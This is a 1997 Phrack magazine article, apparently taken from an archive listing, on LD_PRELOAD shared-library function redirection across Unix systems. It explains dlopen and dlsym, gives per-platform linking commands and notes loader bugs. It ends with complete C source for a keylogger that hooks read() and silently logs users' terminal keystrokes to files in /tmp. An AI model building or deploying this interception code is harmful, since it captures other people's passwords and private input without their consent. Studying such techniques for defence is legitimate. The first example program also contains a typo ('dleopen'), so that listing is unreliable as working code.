home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 51.sit / Phrack51 / P51-08 < prev    next >
Text File  |  1997-09-01  |  7KB  |  212 lines

  1. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 08 of 17
  2.  
  3.  
  4. -------------------------[  Shared Library Redirection Techniques
  5.  
  6.  
  7. --------[  halflife <halflife@infonexus.com>
  8.  
  9.  
  10. This article discusses shared libraries - in particular, a method for doing 
  11. shared library based function call redirection for multiple purposes.  During 
  12. the process of writing some code, some bugs were discovered in a few shared 
  13. library implementations, these are discussed as well.
  14.  
  15. First off, a short description of shared libraries is in order.  Shared 
  16. libraries are designed to let you share code segments among programs.  In this 
  17. way, memory usage is reduced significantly.  Since code segments generally are 
  18. not modified, this sharing scheme works rather well.  Obviously for this to 
  19. work, the code segments have to be location independent or PC indepenant (ip 
  20. independant for the x86 programmers in the audience).
  21.  
  22.    Now, since the telnetd environment variable hole, most of you know there 
  23. are several environment variables that can be used to specify alternate shared 
  24. libraries.  Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD; 
  25. this article strictly deals with the latter.  Additionally, on Digital UNIX 
  26. and Irix, this variable is called _RLD_LIST and has a slightly different 
  27. syntax.
  28.  
  29. Sun's shared libraries came with an API to let users load and call shared 
  30. library functions; most other vendors have cloned the interface.  Oddly enough,
  31. our code will not work in SunOS, although it will in Solaris2.  Anyhow, the 
  32. first function to be concerned with is called dlopen().  This function 
  33. basically loads the shared library and mmap()s it into memory if it is not 
  34. already loaded.  The first argument it accepts, is a pointer to the filename 
  35. to be loaded, the second argument should usually be 1 (although some platforms 
  36. seem to support other options).  The manpage provides more details.  A handle 
  37. is returned on success, you can call dlerror() to determine if a failure 
  38. occurred.
  39.  
  40. Once you have dlopen()ed a library, the next goal is to get the address of one 
  41. or more of the symbols that are inside the library.  You do this with the 
  42. dlsym() function.  Unfortunately, this is where things can get nonportable.
  43. On the freely available 4.4BSD machines I tested, dlsym() wants the function 
  44. name prepended by a underscore character.  This makes perfect sense to me, 
  45. since that is how C stores function names internally.  The System Vish 
  46. implementations, which make up the majority of the tested systems, do not use 
  47. such a convention.  This, unfortunately, means you must use conditional 
  48. compilation in order to ensure portability.
  49.  
  50. A simple example of opening a library, getting a function and calling it is 
  51. shown below:
  52.  
  53. <++> sh_lib_redir_example.c
  54. #include <stdio.h>
  55. #include <stdlib.h>
  56. #include <unistd.h>
  57. #include <dlfcn.h>
  58.  
  59. main()
  60. {
  61.     void *handle;
  62.     void (*helloworld)(void);
  63.     char *c;
  64.  
  65.     handle = dleopen("/tmp/helloworld.so", 1);
  66.     c = dlerror();
  67.     if(c)
  68.     {
  69.         fprintf(stderr, "couldnt open /tmp/helloworld.so\n");
  70.         abort();
  71.     }
  72. #if __FreeBSD__
  73.     helloworld = dlsym(handle, "_helloworld");
  74. #else
  75.     helloworld = dlsym(handle, "helloworld");
  76. #endif
  77.     c = dlerror();
  78.     if(c)
  79.     {
  80.         fprintf(stderr, "couldnt get helloworld symbol\n");
  81.         abort();
  82.     }
  83.     helloworld();
  84.     dlclose(handle);
  85. }
  86. <-->
  87.  
  88. Okay, now that we understand how to use the programming interface, how do we 
  89. do function call redirection?  Well, my idea is simple; you preload a library, 
  90. the preloaded library does its thing, then it dlopen()s the real library and 
  91. gets the symbol and calls it.  This seems to work well on Solaris, Linux (ELF),
  92. Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).
  93.  
  94. Compiling shared libraries is a little different on each platform.  The 
  95. compilation stage is basically the same, it is the linking that is actually 
  96. different.  For GCC, you make the object with something like:
  97.  
  98.     gcc -fPIC -c file.c
  99.  
  100. That will create file.o, object code which is suitable for dynamic linking.
  101. Then you actually have to link it, which is where the fun begins :).  Here is 
  102. a chart for linking in the various operating systems I have tested this stuff
  103. on.
  104.  
  105. FreeBSD:        ld -Bshareable -o file.so file.o
  106. Solaris:        ld -G -o file.so file.o -ldl
  107. Linux:          ld -Bshareable -o file.so file.o -ldl
  108. IRIX:           ld -shared -o file.so file.o
  109. OSF/1:          ld -shared -o file.so file.o
  110.  
  111. On IRIX, there is an additional switch you need to use if you are running 6.2,
  112. it enables backwards ld compatibility; the manpage for ld is your guide.
  113.  
  114. Unfortunately, all is not happy in the world of shared libs since there are 
  115. bugs present in some implementations.  FreeBSD in particular has a bug in that 
  116. if you dlsym() something and it is not found, it will not set the error so 
  117. dlerror() will return NULL.  OpenBSD is far far worse (*sigh*).  It 
  118. initializes the error to a value, and does not clear the error when you call 
  119. dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD 
  120. is incompatible with our methods in other ways too, so it does not really 
  121. matter I guess :).  The FreeBSD bug is hacked around by testing return values
  122. for NULL.
  123.  
  124. Here is a simple TTY logger shared library example.  When you preload it, it 
  125. will log the keystrokes when users run any nonprivledged shared lib using 
  126. program.  It stores the logs in /tmp/UID_OF_USER.  Pretty simple stuff.
  127.  
  128. <++> tty_logger.c
  129. #include <stdio.h>
  130. #include <stdlib.h>
  131. #include <unistd.h>
  132. #include <sys/types.h>
  133. #include <sys/uio.h>
  134. #include <sys/stat.h>
  135. #include <string.h>
  136. #include <fcntl.h>
  137. #include <dlfcn.h>
  138.  
  139. /* change this to point to your libc shared lib path */
  140. #define LIB_PATH "/usr/lib/libc.so.3.0"
  141. #define LOGDIR "/tmp"
  142. int logfile = -1;
  143.  
  144. static void createlog(void)
  145. {
  146.     char buff[4096];
  147.     if(logfile != -1)
  148.         return;
  149.     memset(buff, 0, 4096);
  150.     if(strlen(LOGDIR) > 4000)
  151.         return;
  152.     sprintf(buff, "%s/%d", LOGDIR, getuid());
  153.     logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
  154.     return;
  155. }
  156.  
  157. static void writeout(char c)
  158. {
  159.     switch(c)
  160.     {
  161.         case '\n':
  162.         case '\r':
  163.             c = '\n';
  164.             write(logfile, &c, 1);
  165.             break;
  166.         case 27:
  167.             break;
  168.         default:
  169.             write(logfile, &c, 1);
  170.     }
  171. }
  172.  
  173. ssize_t read(int fd, void *buf, size_t nbytes)
  174. {
  175.     void *handle;
  176.     ssize_t (*realfunc)(int, void *, size_t);
  177.     int result;
  178.     int i;
  179.     char *c;
  180.     char d;
  181.  
  182.     handle = dlopen(LIB_PATH, 1);
  183.     if(!handle)
  184.         return -1;
  185. #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
  186.     realfunc = dlsym(handle, "read");
  187. #else
  188.     realfunc = dlsym(handle, "_read");
  189. #endif
  190.     if(!realfunc)
  191.         return -1;
  192.     if(logfile < 0)
  193.         createlog();
  194.     result = realfunc(fd, buf, nbytes);
  195.     c = buf;
  196.     if(isatty(fd))
  197.     {
  198.         if(result > 0)
  199.             for(i=0;i < result;i++)
  200.             {
  201.                 d = c[i];
  202.                 writeout(d);
  203.             }
  204.     }
  205.     return result;
  206. }
  207. <-->
  208.  
  209.  
  210. ----[  EOF
  211.  
  212.